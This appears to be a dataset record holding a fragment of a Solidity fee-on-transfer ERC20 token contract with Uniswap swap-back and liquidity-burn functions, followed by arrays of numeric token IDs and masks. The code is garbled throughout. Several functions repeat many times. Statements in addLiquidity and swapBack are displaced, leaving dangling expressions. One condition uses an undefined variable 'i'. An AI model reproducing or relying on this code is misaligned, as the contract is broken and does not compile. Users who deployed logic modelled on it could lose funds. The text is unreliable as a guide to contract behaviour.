require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
uniswapV2Router.addLiquidityETH{value: ethAmount}(
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForBurn = ethBalance.mul(tokensForBurn).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBurn;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
tokensForBurn = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(MarketingWallet).call{
value: address(this).balance
}("");
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForBurn = ethBalance.mul(tokensForBurn).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBurn;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
tokensForBurn = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(MarketingWallet).call{
value: address(this).balance
}("");
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForBurn = ethBalance.mul(tokensForBurn).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBurn;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
tokensForBurn = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(MarketingWallet).call{
value: address(this).balance
}("");
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
(success, ) = address(DevWallet).call{value: ethForDev}("");
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForBurn = ethBalance.mul(tokensForBurn).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBurn;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
tokensForBurn = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(MarketingWallet).call{
value: address(this).balance
}("");
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForBurn = ethBalance.mul(tokensForBurn).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBurn;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
tokensForBurn = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(MarketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | 15,291,527 | [
1,
1986,
12740,
611,
11846,
9254,
13456,
5,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
611,
11846,
9254,
353,
4232,
39,
3462,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
11732,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
565,
1758,
1071,
11732,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
203,
565,
1426,
3238,
7720,
1382,
31,
203,
203,
565,
1758,
1071,
6622,
21747,
16936,
31,
203,
565,
1758,
1071,
9562,
16936,
31,
203,
565,
1758,
1071,
605,
321,
16936,
31,
203,
203,
565,
2254,
5034,
1071,
943,
3342,
6275,
31,
203,
565,
2254,
5034,
1071,
7720,
5157,
861,
6275,
31,
203,
565,
2254,
5034,
1071,
943,
16936,
31,
203,
203,
565,
2254,
5034,
1071,
5551,
1290,
14461,
38,
321,
273,
6969,
31,
203,
565,
1426,
1071,
12423,
38,
321,
1526,
273,
629,
31,
203,
565,
2254,
5034,
1071,
12423,
38,
321,
13865,
273,
12396,
3974,
31,
203,
565,
2254,
5034,
1071,
1142,
48,
84,
38,
321,
950,
31,
203,
203,
565,
2254,
5034,
1071,
11297,
38,
321,
13865,
273,
5196,
6824,
31,
203,
565,
2254,
5034,
1071,
1142,
25139,
48,
84,
38,
321,
950,
31,
203,
203,
565,
1426,
1071,
8181,
382,
12477,
273,
638,
31,
203,
565,
1426,
1071,
1284,
7459,
3896,
273,
629,
31,
203,
565,
1426,
1071,
7720,
1526,
273,
629,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
4505,
3024,
5912,
4921,
31,
7010,
565,
1426,
1071,
7412,
6763,
1526,
273,
638,
31,
203,
565,
2254,
5034,
2
]
|
./partial_match/42/0x1827E00dB6C889A332D1Ce532A341fE1f752038F/sources/Exchange.sol | * @notice get current quote/base asset reserve. @return (quote asset reserve, base asset reserve)/ | function getReserve() external view returns (Decimal.decimal memory, Decimal.decimal memory) {
return (quoteAssetReserve, baseAssetReserve);
}
| 3,301,123 | [
1,
588,
783,
3862,
19,
1969,
3310,
20501,
18,
327,
261,
6889,
3310,
20501,
16,
1026,
3310,
20501,
13176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
